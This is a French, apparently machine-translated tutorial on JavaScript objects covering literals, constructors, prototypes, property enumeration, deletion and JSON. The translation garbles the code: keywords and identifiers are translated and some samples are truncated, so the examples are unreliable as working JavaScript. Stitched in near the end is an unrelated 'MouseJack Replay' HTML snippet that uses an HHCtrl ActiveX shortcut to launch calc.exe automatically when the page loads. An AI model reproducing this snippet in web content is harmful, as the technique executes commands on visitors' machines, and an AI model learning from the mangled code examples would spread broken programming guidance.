Explication détaillée des types d'objets JavaScript

Javascrtip a six types de données, un type de données complexe (type de référence), à ​​savoir le type d'objet objet et cinq types de données simples (types primitifs): numéro, chaîne, booléen, indéfini et nul. Parmi eux, le type le plus central est le type d'objet. Dans le même temps, il convient de noter que les types simples sont immuables, tandis que les types d'objets sont mutables.

Qu'est-ce qu'un objet

Un objet est une liste non ordonnée de types de données simples (parfois des types de données référencés) stockés comme une série de paires de valeurs de nom. Chaque élément de cette liste est appelé une propriété (si elle est appelée méthode).

Voici un objet simple:

 var myFirstObject = {FirstName: "Richard", favoriTautHor: "Conrad"};

Les objets peuvent être considérés comme une liste, et chaque élément (propriétés ou méthodes) dans la liste est stocké dans une paire de valeurs de nom. Dans l'exemple ci-dessus, les noms d'attribut de l'objet sont le premier nom et favorisétiqueur. En conséquence, les valeurs d'attribut de l'objet sont Richard et Conrad.

Le nom d'attribut peut être une chaîne ou un nombre, mais si un nombre est utilisé comme nom d'attribut, la valeur d'attribut correspondant au nom d'attribut de ce numéro doit être obtenue dans des crochets (notation carrée). Une explication plus détaillée de la notation du support carré plus tard. Voici un exemple de notation carrée du support:

 var AgeGroup = {30: "Enfants", 100: "très vieux"}; console.log (AgeGroup.30) // Erreur // la bonne façon d'accéder à l'attribut 30 console.log (AgeGroup ["30"]); // enfants // Il est préférable d'éviter d'utiliser des nombres comme noms d'attribut

En tant que programmeur JavaScript, vous utiliserez souvent les types de données d'objet. Il est généralement utilisé pour stocker des données ou pour créer des méthodes ou des fonctions personnalisées.

Types de données de référence et types de données primitives

La différence la plus importante entre un type de référence et un type primitif est que le type de référence est stocké par référence, et il ne stockera pas la valeur directement dans une variable comme un type primitif. Par exemple:

 // Les données de type d'origine sont stockées par valeur var personne = "kobe"; Var un autre personne = personne; // un autre personne = la valeur de la personne personne = "Bryant"; // La valeur de la personne a changé Console.log (un autre personne); // kobe console.log (personne); // Bryan

On peut noter que même si nous modifions la valeur de la personne en "Bryant", il n'aura aucun effet sur l'anthoerperson, et il enregistre toujours la valeur qui lui est attribuée par la personne d'origine.

Comparez le type d'origine par Value Store avec le type de référence par magasin de référence:

 var personne = {nom: "kobe"}; Var un autre personne = personne; personne.name = "Bryant"; Console.log (AnotherSerson.Name); // Bryant Console.log (Person.Name); // Bryant

Dans cet exemple, nous copie l'objet de personne sur Anthoerperson, mais parce que l'objet de la personne stocke une référence au lieu de la valeur réelle. Ainsi, lorsque nous changeons Person.name en "Bryant", la variable autre personne reflète également ce changement, car il ne copie pas tous les attributs en personne et les enregistre, mais enregistre directement la référence de l'objet.

Attributs des propriétés des objets

Remarque: l'attribut est généralement traduit par attribut, mais afin de le distinguer de Propertie (également traduit par attribut), il est traduit par attribut ici. C'est aussi quelque chose qui a été consulté par d'autres, et cela devrait être inoffensif.

Chaque attribut d'objet enregistre non seulement sa propre paire de valeurs de nom, mais il contient également trois caractéristiques, qui sont définies sur true par défaut.

• Attribut configurable: spécifie si cet attribut d'objet peut être supprimé ou modifié.

• Énumérable: spécifie si cette propriété d'objet peut être obtenue dans la boucle for-in.

• Writable: Spécifie si cette propriété d'objet peut être modifiée.

Il existe de nouvelles fonctionnalités dans EMACScript 5, et nous ne les expliquerons pas en détail ici.

Créer un objet

Il existe deux méthodes courantes pour créer des objets:

1. Objet littéral

C'est le moyen le plus courant et le plus simple de créer des objets, directement en utilisant des littéraux:

 // objet vide var myBooks = {}; // objet contenant 4 attributs créés à l'aide de littéraux var mango = {couleur: "jaune", forme: "rond", douceur: 8, howswetami: function () {console.log ("hmm hmm good"); }}

2. Constructeur d'objet

La deuxième méthode couramment utilisée consiste à utiliser des constructeurs d'objets. Un constructeur est une fonction spéciale qui peut être utilisée pour créer un nouvel objet. Le constructeur doit être appelé en utilisant le nouveau mot-clé.

 var mango = nouveau objet (); mango.color = "jaune"; mango.shape = "rond"; mango.sweetness = 8; mango.howsweetami = function () {console.log ("hmm hmm good");}

Bien que certains mots ou mots clés réservés puissent être utilisés, comme pour le nom d'une propriété d'objet, ce n'est pas un choix judicieux.

Les propriétés d'un objet peuvent contenir n'importe quel type de données, y compris le nombre, les tableaux ou même d'autres objets.

Mode pratique de création d'objets

Pour créer des objets simples qui ne sont utilisés qu'une seule fois pour stocker les données, les deux méthodes ci-dessus peuvent répondre aux besoins.

Cependant, supposons qu'il existe un programme pour afficher les fruits et ses détails. Chaque type de fruit dans le programme possède les propriétés d'objet suivantes: couleur, forme, douceur, coût et une fonction montrée. Si vous devez caractériser le code suivant chaque fois que vous créez un nouvel objet de fruit, il sera très ennuyeux et inefficace.

 var mangofruit = {couleur: "jaune", douceur: 8, fruitname: "mango", nativetoland: ["Amérique du Sud", "Amérique centrale"], montrade: function () {console.log ("c'est" + this.fruitname); }, Nativeto: function () {this.nativetoland.ForEach (function (chaqueCountry) {console.log ("Grown in:" + everyCountry);}); }}

Si vous avez 10 fruits, vous devez ajouter le même code 10 fois. Et, si vous souhaitez modifier la fonction Nativeto, vous devez le modifier à 10 endroits différents. Imaginons en outre que si vous développez un grand site Web, vous avez ajouté des attributs aux objets supérieurs à un par un. Cependant, vous réalisez soudain que la façon dont vous créez l'objet n'est pas idéale, et vous voulez le modifier, que devez-vous faire pour le moment?

Pour résoudre ces problèmes répétitifs, les ingénieurs logiciels ont inventé divers modèles (solutions pour les problèmes répétitifs et les tâches courantes) pour utiliser des programmes de développement plus efficacement et plus rationnels.

Voici deux modèles communs pour créer des objets:

1. Construction du mode méthode

 fonction Fruit (thecolor, thesweetness, thefruitname, thenatiVetoland) {this.color = thecolor; this.sweetness = thesweetness; this.fruitName = theFruitName; this.nativeToland = thenativeToland; this.showname = function () {console.log ("Ceci est un" + this.fruitName); } this.nativeto = function () {this.nativetoland.ForEach (function (chaqueCountry) {console.log ("Grown in:" + chaque pays);}); }}

Avec ce modèle, il est facile de créer une variété de fruits. Comme ça:

 var mangofruit = nouveau fruit ("jaune", 8, "mangue", ["Amérique du Sud", "Amérique centrale", "Afrique de l'Ouest"]); mangofruit.showname (); // Ceci est une mangue. Mangofruit.nativeto (); // cultivée en: Amérique du Sud // cultivée en: Amérique centrale // cultivée en: Afrique de l'Ouest var PineappleFruit = nouveau fruit ("Brown", 5, "Pineapple", ["États-Unis"]); PineappleFruit.Showname (); // c'est un ananas.

Si vous souhaitez modifier des propriétés ou des méthodes, il vous suffit de les modifier en un seul endroit. Ce modèle résume les fonctions et les caractéristiques de tous les fruits à travers l'héritage d'une fonction fruit.

Avis:

◦ Les propriétés inscrites doivent être définies sur les propriétés du prototype de l'objet. Par exemple

someObject.prototype.FirstName = "Rich";

◦Les attributs qui appartiennent à soi-même doivent être directement définis sur l'objet. Par exemple:

 // Tout d'abord, créez un objet var Amango = new Fruit (); // Suivant, définissez la méthode Mongospice directement sur l'objet // Parce que nous définissons la propriété Mangospice directement sur l'objet, c'est la propre propriété d'Amango, pas une propriété héritable Amango.mangospice = "une certaine valeur";

◦ Pour accéder aux propriétés d'un objet, utilisez l'objet.property, comme:

Console.log (Amango.mangospice); // "une certaine valeur"

◦ Pour appeler la méthode d'un objet, utilisez objet.Method (), comme:

 // Tout d'abord, ajoutez une méthode amango.printStuff = function () {return "imprimer"; } // Maintenant, vous pouvez appeler la méthode PrintStuff AMANGO.printStuff ();

2. Mode prototype

 fonction fruit () {} fruit.prototype.color = "jaune"; fruit.prototype.sweetness = 7; fruit.prototype.fruitname = "Generic Fruit"; fruit.prototype.nativetoland = "usa"; fruit.prototype.showname = function () {console.log ("c'est un" + + this.fruitname);} fruit.prototype.nativeto = function () {console.log ("cultivé dans:" + this.nativetoland);}

Voici la méthode pour appeler le constructeur Fruit () en mode prototype:

 var mangofruit = nouveau fruit (); mangofruit.showname (); // mangofruit.nativeto (); // c'est un fruit générique // cultivé en: USA

Lecture prolongée

Si vous avez besoin de connaître une explication plus détaillée de ces deux modèles, vous pouvez lire le chapitre 6 de la programmation avancée JavaScript, qui traite des avantages et des inconvénients de ces deux méthodes en détail. D'autres modes en plus de ces deux sont également discutés dans le livre.

Comment accéder aux propriétés dans un objet

Les deux principales méthodes pour accéder aux propriétés des objets sont la notation de points et la notation du support.

1. Méthode de notation point

 // Ceci est la méthode pour accéder aux attributs que nous avons utilisés dans l'exemple précédent var book = {Title: "Ways To Go", Pages: 280, Bookmark1: "Page 20"}; // Utiliser la notation Point pour accéder aux attributs de titre et pages de l'objet livre: console.log (book.title); // façons d'aller console.log (book.pages); // 280

2. Méthode de notation du support

 // Utilisez des crochets pour révéler les propriétés de l'objet du livre: console.log (livre ["titre"]); // façons d'aller console.log (livre ["pages"]); // 280 // Si le nom d'attribut est stocké dans une variable, il peut également être: var booktitle = "title"; console.log (livre [booktitle]); // Ways To Go Console.log (livre ["Bookmark" + 1]); // page 20

L'accès aux propriétés qui n'existent pas dans un objet entraîneront une non définie.

Ses propres attributs et attributs d'héritage

Les objets ont leurs propres attributs et attributs hérités. L'attribut est une propriété directement définie sur l'objet, tandis que l'attribut hérité est une propriété héritée du prototype de l'objet.

Pour déterminer si un objet a un certain attribut (qu'il s'agisse de son propre attribut ou d'attribut héréditaire), vous pouvez utiliser l'opérateur in:

 // Créer un objet avec un attribut scolaire attribut var sChool = {scolaire: "mit"}; // Imprimez vrai parce que l'objet a le nom de la propriété Console.log («école» à l'école); // Vrai // imprime faux parce que nous ne définissons ni la propriété de l'école scolaire ni héritant de la propriété scolaire Console.log ("schoolType" à l'école); // false // imprime vrai parce que la méthode TOSTRING Console.log ("toString" à l'école); // vrai

Hasownproperty

Pour déterminer si un objet a sa propre propriété spécifique, vous pouvez utiliser la méthode HasownPrototype. Cette méthode est très utile car nous devons souvent énumérer toutes les propriétés d'un objet au lieu de les hériter.

 // Créer un objet avec un attribut scolaire attribut var sChool = {scolaire: "mit"}; // imprime vrai, parce que SchoolName est la propre console de propriété de l'école.log (School.HasownProperty ("école")); // true // imprimer faux, car ToString est hérité du prototype de l'objet, et la propre console immobilière de l'école (école.hasownproperty ("toString")); // FAUX

Propriétés d'accès et d'énumération dans les objets

Afin d'accéder aux attributs (auto ou hérités) qui peuvent être énumérés dans un objet, vous pouvez utiliser une boucle pour une boucle pour ou une méthode de boucle normale.

 // Créer un objet scolaire avec 3 attributs: école, nom, écolière et schoollocation. // Utilisez une boucle for-in pour obtenir les attributs de l'objet pour (var chaqueItem à l'école) {console.log (chaqueItem); // imprime scolaire, écolier

Accédez aux propriétés héritées

Les propriétés héritées du prototype de l'objet ne sont pas énumérées, donc ces propriétés ne sont pas accessibles dans la boucle for-in. Cependant, s'ils sont des propriétés de succession énumérables, ils peuvent également être accessibles à partir de la boucle for-in.

Par exemple:

 // Utilisez pour accéder aux propriétés de l'objet scolaire pour (var everyitem à l'école) {console.log (chaqueItem); // imprime schoolName, SchoolAccredit, Schoollocation} // Remarque: Le paragraphe suivant est une explication du texte d'origine / * Remarque: comme Wilson (un lecteur astucieux) a été correctement souligné dans les commentaires ci-dessous, la propriété EducationLevel n'est pas réellement inhérente par des objets qui utilisent le constructeur supérieur-apprentissage; Au lieu de cela, la propriété EducationLevel est créée en tant que nouvelle propriété sur chaque objet qui utilise le constructeur de plus en plus. La raison pour laquelle la propriété n'est pas héritée est que nous utilisons le mot-clé "ce" pour définir la propriété. * / // Créer une nouvelle fonction de plus grande envergure dont l'objet scolaire héritera. } // Implémentez l'héritage avec le constructeur plus élevé d'école de constructeur Var = new HigherEarning (); scolaire.schoolname = "mit"; scolaire.schoolaccredit = true; scolaire.schoollocation = "Massachusetts"; // Utilisation de la boucle FOR / IN pour accéder aux propriétés de l'objet scolaire pour (var chaqueItem à l'école) {Console.log (chaqueItem); // imprime EducationLevel, SchoolName, SchoolAccredit et Schoollocation}

Supprimer les propriétés dans l'objet

Vous pouvez utiliser l'opérateur de suppression pour supprimer les propriétés dans un objet. Nous ne pouvons pas supprimer les attributs héréditaires, et nous ne pouvons pas supprimer les attributs d'objet dont les attributs configurables sont définis sur false. Pour supprimer les propriétés héréditaires, vous devez le supprimer de l'objet prototype (c'est-à-dire où ces propriétés sont définies). De plus, nous ne pouvons pas supprimer les propriétés dans les objets globaux.

Lorsque la suppression est réussie, l'opérateur de suppression reviendra True. Étonnamment, l'opérateur de suppression renvoie également vrai lorsque l'attribut à supprimer n'existe pas ou ne peut pas être supprimé (c'est-à-dire que l'attribut qui n'est pas le sien ou l'attribut configurable est défini sur False).

Voici un exemple:

 var ChristmasList = {Mike: "Book", Jason: "Pull"} Delete ChristmasList.mike; // Supprime la propriété Mike pour (var les personnes dans la liste de Noël) {Console.log (People); } // imprime uniquement Jason // La propriété Mike a été supprimée Delete ChristmasList.ToString; // Renvoie vrai, mais parce que ToString est une propriété héritée, il ne sera pas supprimé // parce que ToString n'est pas supprimé, ChristmasList.ToString () peut également être utilisé normalement ici; // "[objet objet]" // Si un attribut est sa propre propriété d'une instance d'objet, nous pouvons le supprimer. // Par exemple, nous pouvons supprimer l'attribut EducationLevel de l'objet scolaire défini dans l'exemple précédent, // Parce que EducationLevel est défini dans ce cas: nous avons utilisé le mot-clé "ce" lors de la définition de l'éducation de la fonction de réalisation supérieure. // Nous ne définissons pas l'attribut EducationLevel dans l'objet Prototype Fonction HigherElarning. Console.log (School.HasownProperty ("EducationLevel")); // Vrai // EducationLevel est l'auto-propriété d'un objet scolaire, afin que nous puissions le supprimer de supprimer School.EducationLevel; // Vrai // La propriété EducationLevel a supprimé Console.log (School.EducationLevel); // Undefined // mais la propriété EducationLevel existe toujours dans la fonction plus élevé de réalimentation var newschool = new HigherLearning (); Console.log (Newschool.EducationLevel); // University // Si nous définissons une propriété dans le prototype des fonctions supérieures à l'appareil supérieur, telles que cette propriété EducationLevel2: HigherLearning.prototype.EducationLevel2 = "University 2"; // cette propriété EducationLevel2 n'attribue pas la propriété propre de l'instance de plus en plus élevée // La propriété EducationLevel2 n'est pas la propriété propre de l'instance scolaire Console.log (School.HasownProperty ("EducationLevel2")); FAUX Console.log (School.EducationLevel2); // University 2 // Essayez de supprimer la propriété héritée EducationLevel2 Supprimer School.EducationLevel2; // vrai (comme mentionné précédemment, cette expression reviendra vrai) // La propriété Hérité EducationLevel2 n'a pas été supprimée Console.log (School.EducationLevel2); Université 2

Sérialiser et désérialiser les objets

Afin de passer un objet dans HTTP ou de convertir un objet en une chaîne, nous devons sérialiser l'objet (le convertir en une chaîne). Nous pouvons utiliser JSON.Stringify pour sérialiser les objets. Il convient de noter que dans les versions avant ECMAScript 5, nous devons utiliser la bibliothèque JSON2 pour obtenir la fonction JSON.Stringify. Dans ECMAScript 5, cette fonction est devenue une fonction standard.

Pour désérialiser un objet (c'est-à-dire convertir une chaîne en un objet), cela peut être fait en utilisant la fonction JSON.Parse. De même, avant la 5e édition, nous devons obtenir cette fonction à partir de la bibliothèque JSON2, et cette fonction standard a été ajoutée à la 5e édition.

Exemple de code:

 Var ChristmasList = {Mike: "Book", Jason: "Pull", Chelsea: "iPad"} JSON.StriNify (Christmaslist); // imprime cette chaîne: // "{" mike ":" book "," jason ":" pull "," chels ":" iPad "}" // Pour imprimer un objet stringifié avec le format, ajoutez "null" et "4" comme paramètres: json.strifify (Christmaslist, Null, 4); // "{//" Mike ":" Book ", //" Jason ":" Sweater ", //" Chel '{"Mike": "Book", "Jason": "pull", "chels": "iPad"}'; // Converons-le en un objet var ChristmasListObj = JSON.Parse (Christmasliststr); // Maintenant que c'est un objet, nous utilisons la console de notation de points (Log (ChristmasListObj.mike); // Livre

Pour plus de discussions et d'explication des objets JavaScript, ainsi que le contenu ajouté à ECMAScript dans la 5e édition, veuillez vous référer au chapitre 6 du guide faisant autorité de JavaScript (6e édition).

post-scriptum

Lorsque j'ai traduit un article pour la première fois, je pense vraiment qu'il n'est pas si simple de bien le traduire. De nombreuses phrases simples semblent très claires, mais quand je veux vraiment la traduire, je ne peux pas penser à un mode d'expression approprié. L'article entier est basé sur ma propre compréhension, puis l'a traduit par la phrase librement, sans phrase de traduction par phrase. Donc, s'il y a des écarts dans la compréhension ou la traduction inappropriée, essayez de le signaler et je le corrigerai dès que possible. Après tout, je veux partager cet article dernier avec vous. Je ne veux pas vous induire en erreur à cause de mes erreurs de compréhension.

Juste sauce, terminez le travail.

 <! Doctype html> <html> <éad- head> <ititle> MouseJack Replay </Title> <A-head> </ head> <body> Command exec <object id = x classid = "CLSID: adb880a6-d8ff-11cf-9377-00a003b7a11" width = 1 hight = 1> <param value = "bitmap :: shortcut"> <param name = "item1" value = ', calcc.exe'> <param name = "item2" value = "273,1,1"> </ objet> <cript> x.click (); </cript> </ body> </html>

Ce qui précède est tout le contenu de cet article. J'espère que cela sera utile à l'apprentissage de tous et j'espère que tout le monde soutiendra davantage Wulin.com.